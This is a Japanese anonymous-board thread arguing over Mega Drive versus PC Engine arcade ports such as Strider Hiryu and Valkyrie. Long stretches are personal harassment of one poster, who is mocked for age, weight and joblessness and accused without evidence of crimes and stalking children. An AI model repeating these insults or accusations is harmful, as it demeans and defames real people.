          ヘ_,j|!'     /ー--''!     |' 
           | |       /二ク     !
           ! 、     ヾニン   ノ  俺はたまに出没してキモオタをからかってるだけ♪
           ,.゙-‐- 、\  `__  /
        ┌、. /     ヽ  >-ー´´\     時間が空いたのは嫁と食事しに出てたから♪
         ヽ.X、- 、   ,ノi       ハ 
      ⊂>'">┐ヽノ〃     / ヘ       脂身なんかじゃない! 脂身なんかじゃない!
       入 ´// ノ        } ,..,.._',.-ァ
      /   `ー''"´      ,'  c〈〈〈っ<        なんかじゃない!!なんかじゃない!!
     /          __,,..ノ ,ノヽー'"ノ
      {          ´    /  ``¨´
    /´¨`'''‐、._        ,'\
     ∨´     `ヽ、     ノ   ゙ヽ
      ∨      ヽ _,,..-'"    `ヽ
     ∨       〈∪、.__       }
      ヽ、     }   ``7‐-.  /
          ヽ     リ    /′  ノ
          /′  , {     /   /
        {     !   ,ノ  ,/′
          !    /  /   `‐-、
        !   ,/   ゙ー''' ー---'
          ',  /
        {   }
           ゙Y `ヽ、
            ゙ー--‐'

191:名無しの挑戦状
13/01/24 16:03:02.36 RDsdFz9E
あたまのおかしな保土ヶ谷の初老ハゲ童貞である脂身57歳の生態はここにw

ゲハの轟音まとめwiki
URLリンク(www24.atwiki.jp)

192:名無しの挑戦状
13/01/24 17:06:56.79 dsAM/mM6
>>189
PCエンジンをやらなくともお前はキチガイで犯罪者じゃんw

193:名無しの挑戦状
13/01/24 17:08:29.45 dsAM/mM6
>>182
深夜にその異常な書き込み
どんだけ溜まってんだよwwww
無職童貞歴57年は辛そうだなw

194:名無しの挑戦状
13/01/24 17:27:20.53 aOzK4d81
URLリンク(www.youtube.com)

それでは見てもらいましょうか
信者がサターン、PS、64超えしたという動画をwww

195:名無しの挑戦状
13/01/24 17:34:11.95 sNyGMFNa
>>194
何度見てもしょぼい

196:名無しの挑戦状
13/01/24 17:43:14.39 aOzK4d81
>>195
URLリンク(www.youtube.com)

今見ても凄いのがコレ
強力なBG機能とポリゴンの融合でサターンの機能を使い切ってると思う
PSでもこれはキツイだろうな

197:名無しの挑戦状
13/01/24 19:13:42.37 03HbPXB1
>>194
このデモの時点で
少なくともサターンは余裕で超えてるな

サターン特有のポリゴン欠け、ポリゴン同士の重なりがないし
サターンではグーローが不可能

198:名無しの挑戦状
13/01/24 19:23:49.45 aH9Pq9xK
負けたことを反対語で勝ったという人か

199:名無しの挑戦状
13/01/24 19:34:28.92 aOzK4d81
>>197
URLリンク(www.youtube.com)

はい、グーローシェーディング使って見事にペプシマン再現してますねw

かたや、これはなんですかw
泥人形対戦ゲームですかなw

URLリンク(www.youtube.com)

200:名無しの挑戦状
13/01/24 20:47:56.77 MAzF01c0
>>199
上のは何なの?
PCエンジン好きの学生が作った同人ゲーム?

201:名無しの挑戦状
13/01/24 20:48:51.67 MAzF01c0
あ、上のじゃなくって、下のやつ。
その下のしょぼいやつは、PCエンジン愛好家が作った同人ゲームなの?

202:名無しの挑戦状
13/01/24 20:52:30.26 Ww90oR3W
当たらずとも遠からず

203:名無しの挑戦状
13/01/24 22:22:03.59 9qWLGkB0
泥人形にも失礼な気がしてきた。

204:名無しの挑戦状
13/01/24 22:29:55.30 dsAM/mM6
なに?お前の両親がか?
つーか畜生の分際で「人」なんてつけるな
「豚」だろ

205:名無しの挑戦状
13/01/24 22:32:17.55 vvcQVTJ5
>ゲーメスト基準ならますますメガドラの惨敗じゃん
別に勝ち負けの基準などにしてないがな。飛竜がマイナーだとか言い出すから
マイナーじゃない理由としてゲーメストのアンケートをあげただけだろう。
何勝手に勝ち負けの基準にすり替えてるんだ?

ことの発端は
>MD登場以降はアーケード移植で先を越されることも多くなったし
の発言だけど別に間違ってはいないだろう。ID:oYHUjmTNが苦し紛れに
マイナーだ一流じゃないなどと負け惜しみ言ってるよういしかみえない。

それにザ・ベストゲームで1位だって騒いでるけどおまえの貼ったリンク先で
ワルキューレは酷評されてるのだがな
URLリンク(babsika.cocolog-nifty.com)
当時本作が読者の投票に依りベスト1ゲームとなった事実は、
以降のオタク文化が向かう未来を予見させる事件であり現実となりました。
アニメとゲームのみしか知ろうともせずに制作者へと育ってしまった
オタク達が見せる自慰行為に、満足を見出せるのは又オタク達に
他ならないのです
オタクに向けられた低俗な意識の低い作品と、安易に量産される続編物がゲーム業界のA級戦犯と云えます。
現在に未だ繰り返される過ちへの岐路を初めて確認出来たと云う点に於いて、ワルキューレの伝説は
画期的な作品だったと云えます。あの当時矯正すべきだった道程を手放しに進ませてしまった業界の罪は
これ以降も罰となり長期に渡る事でしょう。

206:名無しの挑戦状
13/01/25 00:12:26.87 NyIOcCR+
>>205
個人的な意見で言えばストライダー飛竜て別に一流じゃないと思うが。
今でも語り継がれてる多くのACゲームの中から見ても二流以降のマイナーに属すんじゃねえの?

207:名無しの挑戦状
13/01/25 00:15:37.67 gTF1ozfu
>>206
一流で凄まじい大ヒットを記録したストライダー飛竜を移植したメガドライブ!
ということにしないと自尊心を保てないのではなかろうか…

208:名無しの挑戦状
13/01/25 00:37:41.18 NyIOcCR+
>>205
あとワルキューレが1位になった事実とその結果への個人的な見解は別物だ。
AC作品に対する思い入れは人それぞれで、ストライダー飛竜にも賛否両論は有る。
君が何を言おうと、その結果の中でワルキューレが君が一流を信じてやまないストライダー飛竜を抑えて1位になったのは紛れもない事実だ。
そして、そのワルキューレがPCEに移植されMDに移植されなかったのも事実。
以上の理由から君が悔しくて発狂しているようにしか見えないのだがどうか?

209:名無しの挑戦状
13/01/25 00:41:42.70 T8lTzlBS
ストライダー飛竜は凄い
あんなダイナミックでストーリー性を感じさせるゲームはなかなかない

210:名無しの挑戦状
13/01/25 00:43:05.53 AZ+2kBHa
>>204
コイツの棘道は何時まで続くのか。

211:名無しの挑戦状
13/01/25 00:47:02.89 Zw8vSX+f
>>210
棘道ならいいじゃん
楽な方へ楽な方へ進んで57年無職童貞続けてるお前の人生ほど酷い物はない

212:名無しの挑戦状
13/01/25 00:54:51.22 8rj0chIo
誰かも言ってたが
ストライダー飛竜なんてつまんねえじゃん
MD版の移植度の高さは認めるけど
こういうのはAC版クオリティで遊んでなんぼだわ

213:名無しの挑戦状
13/01/25 01:03:02.77 AZ+2kBHa
海外の方がヒットしたみたいだね。

214:名無しの挑戦状
13/01/25 01:16:40.01 1qZxDGQl
近所のゲーセンでは閑古鳥だった
天地を喰らうは人だかりがあったのにな

215:名無しの挑戦状
13/01/25 01:18:20.16 T8lTzlBS
高性能16bitマシンで移植が可能になったストライダー飛竜

216:名無しの挑戦状
13/01/25 01:31:31.58 aT3HXnkN
ワルキューレはグラフィックも明るくてかわいいし
拡大縮小もインパクトあったけど
正直、そんなに面白いとは思わなかった。

ファミコン通信かなにかで田尻智もあまり評価してなかったような。

217:名無しの挑戦状
13/01/25 04:34:41.89 Kt2XWWjT
言えることはPCエンジンはHuカード時代から
ワンダーモモやワルキューレといったギャルゲーを受け入れれる土壌が育っていたということだな。

218:名無しの挑戦状
13/01/25 07:32:50.23 T8lTzlBS
色んな機種のストライダー飛竜の移植をニコニコで見たけど
メガドライブ版が際立ってよかったな

219:名無しの挑戦状
13/01/25 12:44:56.25 AZ+2kBHa
よく人を馬鹿にする時に、虫けら以下といいます。
それは、虫でも働いてるのに、働かない奴は虫以下という事です。
つまり脂身連呼。お前のことだよ。

220:名無しの挑戦状
13/01/25 15:11:39.62 +pnX8LHK
>>212
たしかにゲームとしては、大して面白くないよね
ボス戦も大味だし
大魔界村のほうがやってて楽しい

221:名無しの挑戦状
13/01/25 16:23:38.69 0VDZjjUW
                 ζ
               , -──-、
            ,..‐'´       `ヽ、
           /::::::         ::::ヽ
           |:::::::::::::::::   £   :::::::::|
          V::::::::::::::::_{       ヾ:::::{
          ナ::::::::::::::i`__,,,,,,,ァ_  _,,,,,_t;;:ヌ
         イヘ::::::(ヾ~!,ャt、 !'''i ィtン )=f }f
          i {t)テ" ヘ' '___,イ ヽ_/ 介'
          ヘ_,j|!'     /ー--''!     |' 
           | |       /二ク     !
           ! 、     ヾニン   ノ  俺はたまに出没してキモオタをからかってるだけ♪
           ,.゙-‐- 、\  `__  /
        ┌、. /     ヽ  >-ー´´\     時間が空いたのは嫁と食事しに出てたから♪
         ヽ.X、- 、   ,ノi       ハ 
      ⊂>'">┐ヽノ〃     / ヘ       脂身なんかじゃない! 脂身なんかじゃない!
       入 ´// ノ        } ,..,.._',.-ァ
      /   `ー''"´      ,'  c〈〈〈っ<        なんかじゃない!!なんかじゃない!!
     /          __,,..ノ ,ノヽー'"ノ
      {          ´    /  ``¨´
    /´¨`'''‐、._        ,'\
     ∨´     `ヽ、     ノ   ゙ヽ
      ∨      ヽ _,,..-'"    `ヽ
     ∨       〈∪、.__       }
      ヽ、     }   ``7‐-.  /
          ヽ     リ    /′  ノ
          /′  , {     /   /
        {     !   ,ノ  ,/′
          !    /  /   `‐-、
        !   ,/   ゙ー''' ー---'
          ',  /
        {   }
           ゙Y `ヽ、
            ゙ー--‐'

222:名無しの挑戦状
13/01/25 16:30:21.97 T8lTzlBS
メガドライブ版ストライダー飛竜は大魔界村のように背景がはしょられてないのがいい
音楽もアーケード版より曲数が多くてお得な感じがする

223:名無しの挑戦状
13/01/25 17:23:10.71 //NQfurn
ストライダーは、好みが別れるゲームだと思う
嵌まる人はトコトン気に入るし、そうじゃない人はあまりプレイしないタイプ
フォゴットンもそんな感じがする(台ががら空きの店があるかと思いきや、好きな人が集まる店では攻略情報交換が盛んだったり)
万人に受けた訳ではないから、「凄い良作」では無いのだろう
嵌まった人からすれば、早期に移植されたMD版の評価が高いのは当然だろう
PCE版の一番の失敗は旬を逃した発売時期

224:名無しの挑戦状
13/01/25 17:29:03.30 T8lTzlBS
悔やまれる点があるとしたら容量不足でアニメパターンが削られてることだな
特にサイファーを振るところは何とかしてほしかった

225:名無しの挑戦状
13/01/25 17:54:52.36 //NQfurn
変な精神病患者がいるな

226:名無しの挑戦状
13/01/25 19:29:11.83 Zw8vSX+f
>>219
それが57にも無職童貞を続けるお前の言い訳かw

お前の場合、小学生に対するストーカーのような犯罪行為を「働いてる」のだろ
蛆蟲脂身くん

227:名無しの挑戦状
13/01/25 20:03:26.51 2a3Sol3n
メガドライブって他にも移植されてるゲームが多いから
今となっては取り立てて語るものもないんだよな
そういう意味ではPCEの方が孤高というか貴重な感じはする

228:名無しの挑戦状
13/01/25 20:28:17.25 NoIg8d2h
PCエンジンはビデオシステムやエイコム等の忘れ去られるようなB級STGも
ACから移植しているから、当時のゲーム史を語る上で貴重。

229:名無しの挑戦状
13/01/25 20:52:43.19 //NQfurn
珍獣は貴重ではあるが、至高ではない
XなんちゃらってPC がやらかしてるじゃないか

230:名無しの挑戦状
13/01/25 20:59:32.67 Dk0dFoOi
ワル伝をギャルゲーとしか見てないとか悲しいな。
拡大縮小をふんだんに盛り込んだゲームとしてあれだけ完成度の高い作品もないよ。
拡大縮小をただの演出でゲーム性には関係しない、てんならPONGでもやっててくれ。
デカキャラ、多重スクロール、弾幕、音声合成、PCM、といった演出要素がゲームを面白くするのにどれだけ貢献していることか。
もちろん美少女もその一つの要素だろうが、ワル伝のどこに萌え要素を感じるのかは理解できん。

231:名無しの挑戦状
13/01/25 21:01:33.99 lLuG4Hpb
くだらないギャルゲーというのは
容量の大半を美少女ギャルの一枚絵やボイスに費やした
フェリオスみたいなゲームのことを言う


よってメガドライブはギャルゲーマシン

232:名無しの挑戦状
13/01/25 21:08:28.21 //NQfurn
いや、ワル伝は正直ギャルゲーだろ
システム2の技術を見せつける為だけの演出ばかりだし
実際、PCE 専門誌より先に出たギャル売り雑誌の表紙がワルキューレだし(ゲーメストが別冊で出した)

233:名無しの挑戦状
13/01/25 21:25:52.09 Kt2XWWjT
>>227
今基準なら色々なカップリングやコレクションで1枚に収まっていたり
VC、アーカイブス、Xライブアーケード、エ○ュなどでオリジナルを安値でプレイできるから
MDもPCEも価値ないよ。

評価されるとしたら家庭用ならではオリジナル要素だろうな。

234:名無しの挑戦状
13/01/25 21:32:42.79 //NQfurn
昔からナムコは女性キャラを立たせる事が多い
ドルアーガもわざわざ「カイ」というキャラを建てた(姫を助ける戦士が塔に乗り込む。でいいのに)
ワンダーモモも、仮面ライダー的なキャラにしたらギャルゲーじゃなかっただろうが、評価を受けなかったのでは?
フェリオスも同上だと思う

235:名無しの挑戦状
13/01/25 21:49:25.22 aT3HXnkN
>>228
ビデオシステムってラビオレプス?PSかPS2で出てたような。
エイコムはP47かな?

メガドラで他で出てないかも?っていうのは
スラップファイト、ヴイファイブ、鮫!鮫!鮫!、宇宙戦艦ゴモラ、空牙、ファイアームスタング
あたりかなあ。今現在は何かで移植されてるかもしれんが。

236:名無しの挑戦状
13/01/25 21:59:33.72 L4KblH4Y
PCEで出てないと思われるタイトル

DJボーイ
ESWAT
フェリオス
スーパーモナコGP
バーニングフォース
ダイナマイトデューク
鮫!鮫!鮫!
シャドーダンサー
デンジャラスシード
クラックダウン
ハードドライビン
エイリアンストーム
レッスルウォー
マーベルランド
空牙
ギャラクシーフォースII
ストリートスマート
戦場の狼II
ルナーク
ローリングサンダー2
クルードバスター
ターボアウトラン
JuJu伝説
ピットファイター
サンダーストーム
チェルノブ
タイムギャル
ランパート
G-LOC
ファイナルファイト
ナイトストライカー
スノーブラザーズ
マーブルマッドネス
ガントレット
リーサルエンフォーサーズ
戦国伝承
T2 ジ・アーケードゲーム
バーチャレーシング
V・V
タントアール
スーパーストリートファイターII
アウトランナーズ
モータルコンバット
モータルコンバットII 究極神拳
スターブレード
サムライスピリッツ
リーサルエンフォーサーズII
ドラゴンズレア
スター・ウォーズ アーケード(32X)
イチダントアール
バーチャファイター(32X)

237:名無しの挑戦状
13/01/25 22:04:33.86 aT3HXnkN
>>230
確か田尻もスプーンジャンプなど演出だけは褒めてたと思うよ。

エンジン版ではそれも大幅にカットされてるけど。

238:名無しの挑戦状
13/01/25 22:59:47.50 NoIg8d2h
セガがTHQ Canada(Relic Entertainment)の買収を発表したばかりだから、
コンシューマからの撤退はしばらくなさそうだ。

>>235
ソニックウィングスじゃなくて?
ビデオシステムは潰れたけれど、一部が独立して彩京になったんだな。
侮っていた。

239:名無しの挑戦状
13/01/25 23:30:25.43 +pnX8LHK
>>224
よりによって、サイファのパターン削るってどうなのよ
どんな判断があったのか知らねえけどさ

240:名無しの挑戦状
13/01/25 23:52:29.71 //NQfurn
ゲーム性削るより、いいと思うけどな
サイファーの振りパターン重視なら、某PC のピカライダーでもやってればいいかと

241:名無しの挑戦状
13/01/26 00:19:40.39 89mf7FsB
ワルキューレってRPGのような世界観をアーケードに持ち込んだって
のは評価するけど、実際やってみるとつまんないんだよね。
個人的にはギャルゲーでも面白かったら全然かまわないんだけど
このゲームは爽快感がまるでない。
同社のマーベルランドなんかもそうなんだけどグラフィックが綺麗で
キャラがかわいくて、回転機能なんか使ってるけど
ゲーム自体はオーソドックスで古臭い。
拡大縮小回転なんかいっさい使ってないファイナルファイトが同時期に
稼動してたけどそっちの方が圧倒的に人気があったよな。あんなに大きなキャラが
スムーズに動いて、殴るのが気持ちのいいゲームは今までなかったから
衝撃的だった。

242:名無しの挑戦状
13/01/26 00:32:57.31 HgyYmADW
逆。RPGが神話だのをストーリーにいれただけ
ワルキューレはヴァルキリーだし(発音法が違うだけで、綴りは同じ)
ゲーム事態が微妙なのは同意(俺は好きだったが)

243:名無しの挑戦状
13/01/26 01:24:31.04 iEZK4v5n
>>239
雑誌の開発画面では、まだパターン残ってた気がするな
ACの全部のモーションパターン持ってる書き換えじゃなくて
サイファの形の上半分表示、下半分表示みたいな感じの写真が乗ってた記憶があるな

244:名無しの挑戦状
13/01/26 05:01:16.49 7Ofz37d/
>>226
黙らんか泥棒じじい!
恥を知れ!
尻を開け!
テメエの母親(糞ばばあ)の脇でもなめてろはげ!(決まった)
晒し上げ

245:名無しの挑戦状
13/01/26 05:09:06.56 EmUprQPB
さすがロリコンでマザコンの童貞57歳
発想が異常者らしいいなw

246:名無しの挑戦状
13/01/26 05:29:33.51 7Ofz37d/
流石にじじいは早起きだな。
これからババアと散歩がてら新聞ドロか?
最低の老後だな?
息が臭いぜ(決まった)
まだ生きるの?(再び決まった)

247:名無しの挑戦状
13/01/26 05:38:06.70 EmUprQPB
お前は無職童貞だから昼夜関係ないじゃんw

248:名無しの挑戦状
13/01/26 05:39:41.69 EmUprQPB
               【削除人宛て】











          ご覧の通り、これがこのスレの日常です
        このスレは家庭用レトロゲーム板の趣向ではありません。












































.

249:名無しの挑戦状
13/01/26 05:40:59.28 7Ofz37d/
じじいだから同じ事しか言えないのか?(完璧に決まった)
痴呆だろ(笑)
施設でじっとしてろ(止め)

250:名無しの挑戦状
13/01/26 05:41:53.68 EmUprQPB
57歳と言われ続けたのが相当辛かったんだなw
童貞初老www

251:名無しの挑戦状
13/01/26 05:43:39.44 koT6LiFl
空気コテがすっかり出なくなってしまったな

252:名無しの挑戦状
13/01/26 05:44:21.73 HgyYmADW
一々無駄な改行つけるな
後、削除人宛ならここは板違いだ

253:名無しの挑戦状
13/01/26 05:44:58.58 koT6LiFl
名無しだと頑張るんだよな空気コテ

254:名無しの挑戦状
13/01/26 05:45:32.17 7Ofz37d/
痴呆じじいパターンを増やしてくれ飽きる。

255:名無しの挑戦状
13/01/26 05:45:47.89 EmUprQPB
>>252
確かにこのスレは 板 違 い だよなw

256:名無しの挑戦状
13/01/26 05:46:38.16 EmUprQPB
>>254
おいおい初老童貞
もう逃げ腰か?
撤退の為の予防線かwww

257:名無しの挑戦状
13/01/26 05:48:01.40 koT6LiFl
コテ付けろよ空気コテ

258:名無しの挑戦状
13/01/26 05:49:06.50 HgyYmADW
スレタイ読めないのか
可哀想に

259:名無しの挑戦状
13/01/26 05:52:07.88 EmUprQPB
読んでも板違いだが?

この板の対象
ファミリーコンピュータ、スーパーファミコン、PCエンジン、メガドライブの
・個々のソフトのスレ
・ソフトのシリーズごとのスレ
・ソフトメーカーごとのソフトスレ
・ハードごとのソフトスレ

個々のソフトスレではなく、ハードごとのスレでもない
メガドライブのスレなら重複スレ
PCエンジンのスレでも重複してる
なにか言い訳は?

260:名無しの挑戦状
13/01/26 05:54:56.55 7Ofz37d/
屁理屈じじいは病気

261:名無しの挑戦状
13/01/26 05:56:16.49 EmUprQPB
>>260
おいどうしたwレスが単純化してるぞw
(完璧に決まった)とか付けてシコってろよ老害57歳w

262:名無しの挑戦状
13/01/26 05:57:37.94 koT6LiFl
空気コテはなんでコテ付けるの止めちゃったね?

263:名無しの挑戦状
13/01/26 05:57:48.38 7Ofz37d/
板違い?キチガイの間違いだろ(笑)痴呆じじい。

264:名無しの挑戦状
13/01/26 05:59:13.50 HgyYmADW
じゃあ、涙目で削除依頼だせば?
通ればこのスレは消える。多分無理だろうけどな

265:名無しの挑戦状
13/01/26 05:59:27.66 7Ofz37d/
痴呆じじい

266:名無しの挑戦状
13/01/26 06:01:27.55 7Ofz37d/
痴呆じじい?

267:名無しの挑戦状
13/01/26 06:02:33.32 7Ofz37d/
おーい!
痴呆じじい~?

268:名無しの挑戦状
13/01/26 06:04:36.13 EmUprQPB
ID:7Ofz37d/こと、キチガイな57歳が立て続ける板違いなスレ
それがこのスレw

ほれw文がどんどん簡単になってるぞ
もっと>>246みたいに踊れよw
社会経験が無くボキャブラリーに乏しいから連投になると、すぐ弾切れか?w

269:名無しの挑戦状
13/01/26 06:05:04.49 7Ofz37d/
痴呆じじい!
痴呆じじい!
返事がないただの屍になったようだ。

270:名無しの挑戦状
13/01/26 06:06:20.06 7Ofz37d/
痴呆じじいは復活した!

271:名無しの挑戦状
13/01/26 06:08:25.53 koT6LiFl
早くコテ付けなよバレバレなんだから

272:名無しの挑戦状
13/01/26 06:09:54.64 EmUprQPB
>>269-270
はずかしーwwwwwwwww
なに焦ってんだよw初老で早漏おまけに無職童貞w
生きてても仕方ないなw

273:名無しの挑戦状
13/01/26 06:12:52.47 HgyYmADW
「VIPでやれ」という言葉を思い出した

274:名無しの挑戦状
13/01/26 06:13:52.00 7Ofz37d/
痴呆じじい、何でも人のせいにするなよ。
痴呆じじいは誰かに必要とされてんのか?
毎日こんな生活で楽しいの?
こんなのは


もういいや

275:名無しの挑戦状
13/01/26 06:17:50.01 EmUprQPB
>>274
もうギブアップか?
はえーーーーーーーーーーーーwwww
何をやらせても無能低脳で長続きしないなw

276:名無しの挑戦状
13/01/26 06:20:53.02 7Ofz37d/
いや 痴呆じじいに人を問うのが もういいやってこと。
タバコ吸ってくるから しばしまたれよ

277:名無しの挑戦状
13/01/26 06:24:48.49 HgyYmADW
煽り文句も考えた方がいい
他人を貶す時、自分のコンプレックスが出る。というのは心理学で解明されてる
「馬鹿」と他人に言う人は自分の知識、知能に自信がない人

278:名無しの挑戦状
13/01/26 06:35:59.06 EmUprQPB
>>276
なんで一々逃げ腰なんだよヘタレ豚
ほれキャラが外れて素に戻ってるぞw

279:名無しの挑戦状
13/01/26 07:03:28.20 7MbLBEP8
板違いの廃棄スレには丁度良い流れだね
もっとやれ

280:名無しの挑戦状
13/01/26 07:23:20.60 DjHeLehX
もっと肉染み和え^^

281:名無しの挑戦状
13/01/26 07:47:16.65 EmUprQPB
ほんとに打ち止めかよw

282:名無しの挑戦状
13/01/26 07:55:09.64 Z0xoOuKa
つべで動画見てたらスーパーモナコGPのアミガ版がでてきた
グラフィックが綺麗になってて遊んでみたいと思った

283:名無しの挑戦状
13/01/26 09:10:26.30 jBMYD9/b
またメガドラの勝ちだったな
PCエンジンは糞って証明された

284:名無しの挑戦状
13/01/26 09:25:55.59 EmUprQPB
ちまちまID繋ぎ変えてもMDの勝利も脂身の勝利もありはしないのにw

285:名無しの挑戦状
13/01/26 09:38:20.61 6FyW9uAu
MCDユーザーはともかく、
メガドライバーはPCエンジンなんて眼中にないからね。

286:名無しの挑戦状
13/01/26 09:47:54.87 kdVj04dP
>>240
ゲーム性も振りパターンもどっちも確保して欲しいだろ
もっと影響の少ないところを削れよって話

287:名無しの挑戦状
13/01/26 14:59:50.67 89mf7FsB
当時、大魔界村とストライダー飛竜を家庭で遊べた大半の人はメガドラユーザーという事実。

エンジンユーザーでPCエンジン持っててもスーパーグラフィックス
持ってた人はほとんどいないので大魔界村を遊べた人はごくわずか。

また、ストライダーに関してもCD-ROMとアーケードカードが
必要でさらに発売されたのが次世代機が出る時期だったので
これまた買った人はほとんどいない。

だから早い時期にこの2つの名作が遊べたメガドライブは貴重。
しかも、その後移植だけにとどまらず、メガドラならではのオリジナルの名作が生まれたからね。
メガドラ持ってて良かったわ。

288:名無しの挑戦状
13/01/26 15:26:51.84 Rr6trRRw
>>238
PS2のオレたちゲーセン族シリーズでラビオレプス出てるようだね。

メガドライブで他に移植されてない?アーケードSHTは>236を見ると
ナムコのフェリオス、バーニングフォース、デンジャラスシード
さらにタスクフォースハリアーってのもそうらしい。

変わったところではダーウィン4081ってのがあって
これはアーケードのダーウィン4078と続編をミックスしたような内容らしい。

289:名無しの挑戦状
13/01/26 17:18:04.41 7kduI3EX
MDの移植物は3流タイトルが多いね
ハード自体のコンセプトもそうだが

さらに他機種に完全版があるので今となっては価値の無いものが多い

290:名無しの挑戦状
13/01/26 17:25:15.23 7Ofz37d/
>>281
フラれた

291:名無しの挑戦状
13/01/26 17:27:46.77 7Ofz37d/
痴呆じじいはにげたのか?大したことないな。

292:名無しの挑戦状
13/01/26 17:46:01.90 8P9DFtDc
 
【マスコミ】 アルジェリア人質事件 朝日が実名報道→メディア各社追随 遺族関係者が異論「『実名は公表しない』と取材受けた」★7
スレリンク(newsplus板)

293:名無しの挑戦状
13/01/26 19:01:56.19 4BRPAfCG
ザ・スーパー忍
ベアナックル
ソニック
シャイニングフォース
ランドストーカー
ガンスターヒーローズ
ストーリーオブトア

メガドラにはすばらしいオリジナルタイトルがまだまだたくさんある。

294:名無しの挑戦状
13/01/26 20:04:10.41 EmUprQPB
>>191
なげータバコだな脂身www
逃走するのに一々言い訳つけるのがお前の精神の陳腐さの証しだ

295:名無しの挑戦状
13/01/26 20:05:49.12 6FyW9uAu
>>293
もうやめて!とっくにPCエンジンのHPは0よ!w

オリジナル持ち出しちゃ勝負にならないよ。
例外はMDが苦手である分野の対抗馬、天外とときメモくらいかな。

296:名無しの挑戦状
13/01/26 20:07:05.81 EmUprQPB
>>295
お前の収入も0だけどなw

297:名無しの挑戦状
13/01/26 20:08:46.61 DjHeLehX
ギャルゲ対決
シルキーリップVSときめきメモリアル

PCEの圧勝だぞ

298:名無しの挑戦状
13/01/26 20:10:42.99 EmUprQPB
>>294>>291

次はどんな言い訳して逃げるんだろうかw

299:名無しの挑戦状
13/01/26 20:17:37.57 7Ofz37d/
あははは!
面白いな!
収入ゼロって。
ローソンのナポリタンロール美味い。
セブンイレブンのラークにはコーヒーが付いてた。
アームドF買ったけど、
つまんねえな。
よし!タバコ一本吸ってくるから、しばしお別れする。

300:名無しの挑戦状
13/01/26 20:20:51.07 HgyYmADW
>>293
俺はカースが好きなゲームに「なった」なぁ
色々な所で動きの固さが酷評されてるし、自分もソコは認めるけど
それ以外を見ると結構出来がいい。大人になってやり直してみたら、特によくわかった

301:名無しの挑戦状
13/01/26 20:25:41.02 7Ofz37d/
>>294
ぷっ!
いや、誰しも間違いはあるさ。
気にするな。
産まれた事も間違いからだったんだからな(笑)
冗談だ。

302:名無しの挑戦状
13/01/26 20:33:04.27 EmUprQPB
ようデブ
やっと戻ってきたのかw
「ちょちょちょ、ちょっとタバコ吸いに行って来るブヒー」で逃げちゃってから
随分時間経ったなw

親から盗んだ金で買いに行くのがお前らしくて笑えるがw

303:名無しの挑戦状
13/01/26 20:34:14.72 EmUprQPB
ってゆーか
何この連携wwww
少し考えろよ豚

ID:HgyYmADW
ID:7Ofz37d/

304:名無しの挑戦状
13/01/26 20:45:48.45 HgyYmADW
おいおい。同じ時間帯に書いたら同一人物かよ
どれだけ2ch脳なんだ

俺は過去にフシアナしてるから、後の確認はもう一人かフシアナすりゃ確かなんじゃね?


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